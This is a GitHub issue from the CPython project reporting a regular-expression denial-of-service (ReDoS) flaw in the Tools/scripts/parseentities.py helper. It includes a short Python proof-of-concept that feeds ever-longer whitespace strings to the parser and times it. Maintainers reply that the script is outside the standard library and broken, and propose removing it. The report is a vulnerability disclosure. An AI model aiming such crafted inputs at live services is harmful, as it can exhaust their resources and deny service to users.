-
-
Notifications
You must be signed in to change notification settings - Fork 30.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
REDoS in parseentities #86087
Comments
Hi, I find this regex '<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->' may be stucked by input. cpython/Tools/scripts/parseentities.py Line 18 in 8d21aa2
The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *' You can execute the following code to reproduce ReDos from Tools.scripts.parseentities import parse
from time import perf_counter
for i in range(0, 10000):
ATTACK = '<!ENTITY a CDATA "a" -- ' + ' ' * i * 100
LEN = len(ATTACK)
BEGIN = perf_counter()
parse(ATTACK)
DURATION = perf_counter() - BEGIN
print(f"{LEN}: took {DURATION} seconds!") Looking forward for your response! Best, |
Without evaluating the validity of the regex vulnerability, is important to note that the files in Tools/scripts are not part of the standard library and therefore they aren't a valid stack vector. |
Interesting that the tool still exists. It uses mxTextTools, but in a non-packaged version, so it's been broken for two decades now :-) I think it's safe to remove it from Tools\scripts. |
|
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: